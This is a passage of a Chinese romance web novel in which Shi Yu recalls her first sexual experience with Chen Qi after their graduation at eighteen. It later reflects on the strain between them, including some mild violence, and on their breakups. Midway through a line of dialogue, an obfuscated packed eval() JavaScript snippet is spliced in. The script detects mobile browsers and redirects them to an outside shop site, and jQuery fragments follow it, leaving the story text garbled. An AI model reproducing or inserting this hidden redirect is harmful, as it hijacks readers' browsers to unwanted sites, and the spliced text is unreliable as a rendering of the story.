回到丽贝湾的第一晚，时雨想着余筱珊那句“给点甜头”，打算让两人关系更进一步。


    陈启却预判她的想法，等她洗完澡出来，客房的门已经锁上了。


    他还是像以前一样，让时雨睡主卧，自己睡客房。时雨看着紧闭的房门，只能默默转身回去。


    主卧床具都没变，仍是温柔绵软的奶白色，和陈启冷调的装修风格不符。


    时雨躺在多年前睡过的床上，嗅着陈启常用的香水味，不由自主想起，这里曾经发生过什么。


    他们的第一次。


    高中毕业舞会结束，全班约着出去吃饭唱歌。唱完了骑车从长安街过，一路唱唱笑笑，离别的泪水被风吹干。


    有人提议去看升旗，半开玩笑半认真说：“出去就不知道什么时候能回来了！”


    后来这位同学果然留在德国工作，没有回国。


    陈启对看升旗兴趣一般，微微偏脸看向时雨，时雨正好也转过头对他笑。


    他突然喉头发紧，想了又想才开口：“你要不要跟我回家？”


    像在商量一起去食堂那样随意，时雨说：“好啊。”


    回丽贝湾的路陈启走了高中三年，没有一次像那晚一样紧张。他能听见自己的呼吸声、心跳声，还有时雨偶尔的说话声。


    “阿启，暑假你有计划吗？”


    “陪读。”


    “能不能有点出息？”


    “那就边陪读，边练英语听说，免得开学上不了课。”


    时雨笑着说：“不需要陪读，我再有一个月就放假了，想想我们去哪。”


    “和你在一起去哪里都好，”陈启回想一下，“去南美吧，你之前不是想去吗？”


    时雨说：“嗯，想和你去。”


    陈启抱起时雨亲了一口。


    回到家，他们默契地没开大灯，只亮起一盏昏黄的落地灯。陈启帮时雨解围巾，对视一眼，没忍住用围巾把她拢过来，又亲上半天。


    氛围正好，时雨打开音响，播放罗朱的音乐片段。


    陈启取出一瓶葡萄酒，倒在玻璃杯里，两人喝一口亲一下，借微醺状态肆意妄为。


    酒液在唇舌间交换，时雨被亲得头晕，怀疑自己已经醉了。


    一杯酒喝完，陈启抱起时雨往主卧走，脚步有些不稳。时雨揽着他的脖颈，在他耳边问：“有没有……”


    那个彼此心知肚明的字，时雨没够勇气说出口。


    陈启勾着唇角，故意说：“没有。”


    时雨愣了，背部接触到床的同时，把手环在身前，不让陈启靠过来。


    陈启双膝跪在她两侧，像山岳倾压而下。在时雨怦怦乱跳的心跳声中，他伸手在枕头底下摸索，拿出一片薄薄的塑料。


    他捏着那薄片，展示给时雨看：“是问这个？”


    “你怎么会有？”


    “为我们准备的。”


    陈启扯下领带，一颗一颗地解衬衫扣子，露出锻炼痕迹明显的上半身，还有垂在锁骨处的项链。


    项链设计很简约，纯银的一行字母，是时雨小名“MENG”。


    陈启摘下项链，好好地放进床头柜里。与此同时，时雨把脸埋进衣领，看陈启每一个举动都觉得好难熬，好漫长。


    她说：“我好像还没准备好。”


    “那怎么办，”陈启唇边有浅浅笑意，“我去冲个澡，尽量冲久一点，你再准备准备？”


    时雨只想赶紧逃离这种脸红耳热，手脚无处安放的局促感，猛猛点头：“好。”


    陈启下床进浴室，时雨身上顿时轻松很多，但又忍不住留恋被陈启拥入怀里的感觉。


    平复过快的心跳后，她也下床走去隔壁客房的浴室，打开淋浴喷头。


    热水从头顶流下，冲去越洋旅途的疲惫。她低头看自己熟悉又陌生的身体，突然很不好意思。


    很难想象，她会看见陈启的全部，陈启也会看见她。


    光是想一想，她就觉得脑袋要爆炸了。


    客卧浴室的水流声响了很久，久到陈启冲完澡，把头发吹干，重新坐回床上。


    他用的是常温水，却越洗越热，不管怎么弄，热度都下不去。他怕时雨还没准备好，在浴室里磨磨蹭蹭十分钟，终于忍到极限，围着浴巾就走了出来。


    然后果然，没看见时雨在床上乖乖等他。


    也许今晚就这样了。十八岁的陈启想，没关系，日子还很长。


    又过十分钟，客房响起吹风机的声音，时雨似乎洗完澡了。陈启的心跳随吹风声停止而加剧跳动，他紧张到窒息，还有一点想哭。


    两分钟后，主卧的灯被关了。


    陈启的眼睛不适应黑暗，瞬间什么都看不见。可他能听到，时雨正走进房间，向她靠近。


    窗外有灯，只不过很微弱。只要适应这种弱光，黑暗里仍然能视野清晰。


    时雨即使紧张，走姿也是舒展从容的。陈启看着她发红的膝盖轻轻压上床尾，慢速但坚定地前行，直到攀上自己的肩膀。


    她问：“可不可以关着灯？”


    陈启快要过载了，不管是思维还是别的什么。现在时雨问你可不可以从这里跳下楼，他为了搏时雨一笑，也会说可以。


    更何况关灯这种小事。


    即使有点可惜，看不太清楚时雨的脸。


    “很害怕吗？”陈启用手掌托起时雨的下颌，“还早呢，怕就不做了。”


    时雨问：“几点了？”


    陈启说：“我们才十八岁。”


    时雨心里猛地一顿。


    她以为“还早”是指钟点，原来陈启想说年纪。她还在为这一夜沉沦，陈启已经计划好一生。


    “我们还有很长的一生，去探索世界，也探索彼此。总有一天我会比你更熟悉你的身体，你也熟悉我的。”


    “陌生让你感觉害怕，你不喜欢可能导致失控的新体验。比如第一次恋爱，第一次情绪混乱，第一次做。但是没关系，就像我陪你习惯恋爱，总有一天，你也会习惯……和我做。”


    时雨听到前半段很感动，听到最后一句忙不迭来捂陈启的嘴。


    “别说了，”时雨把脸埋在陈启颈窝，“我想冒险，现在就想。”


    陈启问：“准备好了？”


    时雨抬头吻他：“我很好，现在就可以。”


    刹那间，天地倒转。


    时雨仰面看见陈启忍得通红的一双眼，呼吸发颤，带着粗重喘息。


    室内供暖太足，身上又盖着厚重的温度，时雨掌心出汗，蹭在陈启的手里，两人都湿透。


    “我想……”她在浪潮里捡起一丝理智，“垫着，垫一下。”


    陈启问：“什么？”


    她说：“会有血，弄脏床。”


    陈启停下来，忍过一阵细密颤栗，求饶似的：“宝贝儿，你说话别太直白。”


    时雨不明所以：“为什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506355|154794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么？”


    陈启简直要崩溃：“因为我不想……太早结束我们的大冒险。你这样，我受不了。”


    时雨的脸“唰”地全红了。


    从这时候起，她紧紧闭上嘴，不管多想出声都忍着。忍到陈启又反悔，求她回应，不要咬自己。


    “是你让我别说话，”她也快崩溃了，“我也，也不想这样……”


    陈启看她疼得直哭，却还拼命忍耐、包容的模样，一下就没控制住。


    —


    松开禁锢意味着失控。时雨后来果然渐渐习惯这种过激行为，甚至有些上瘾。当意识到自己沉沦于欲望，她本能地想逃。


    陈启有时理解这种恐慌，有时不理解。他患得患失，最难过的时候去找同学算塔罗，茫然问：“为什么我的伴侣很享受，但下一次又不想要了？”


    那位巴黎来的棕发女同学说：“Chen，你有没有想过，也许你的女友想要无性恋爱，她的享受只是为了满足你？”


    陈启把话听进去了，时雨的状态果然好起来。这样坚持一段时间后，陈启发觉，时雨精神上也并不依赖他。


    而他自己，已经处于一种迷恋时雨的状态。


    失衡导致天平崩塌。他在极度的安全感缺失中隐忍，偶尔忍不住时会乞怜或爆发。他们后期的生理交流伴随轻微暴力，时雨仍然宽恕一切，安抚他就像安抚流浪狗。


    “失去自我”是时雨给他的最终判词。时雨也承认，第一次分手时她还不够爱。


    至于三年前的那一次，像余筱姗说的一样，本来没有必要。


    时雨说出分手两个字，看到陈启失魂落魄的表情，自己也心如刀割。那个雪夜像一道难以去除的阴影，盖在迈阿密的阳光海滩，让时雨常做噩梦。


    痛苦疗程中，她有了大段空白的时光，可以去回忆，去反思自己的不足。


    江雪曾说，时雨有完美主义倾向，高度要求自己成为完美，不要求外界。至于为什么陈启也被纳入这个范围，显而易见地，因为她把陈启当成另一半的自己。


    “你想让阿启保持独立，但恰恰是你想让阿启成为你，而不是他自己。”


    江雪发来这段话时，余筱姗正给时雨推着轮椅。


    “濛濛，我觉得阿雪说得挺对的。你还记得么，刚对陈启心动的时候，你不太高兴。我很奇怪，喜欢一个人为什么会不高兴呢？尤其是，对方也对你有好感，你应该特别高兴才对。后来你告诉我，因为你不想成为情绪的奴隶。”


    “你说，你过度关注阿启的一举一动，被他牵动情绪，这种感觉让你陌生。你认为这是荷尔蒙在作祟，会摧毁你的理智，你不能接受这样的自己。”


    “可是濛濛，我不认为一个人必须时刻保持理智。当你饰演朱丽叶的时候，你其实是理解她的，否则观众不会被你打动。你打从心底爱罗曼蒂克的表达，不需要通过演绎来实现。”


    时雨坐在轮椅上，安静地思索好一会儿，垂下的眼睫浸着湿润。


    “我明白。但可惜，好像来不及了。”


    彼时她以为，她再也不会回到这里，躺在这张床上，被陈启的气息包围。


    房间摆设一成不变，除了床头悬挂的捕梦网，没添置其他物件。传说捕梦网能过滤梦境，筛去噩梦，留下美梦。


    不知道这三年里，陈启做了多少噩梦，其中又有多少次与她有关。


    时雨把脸陷进枕头，枕头渐渐湿了一小片。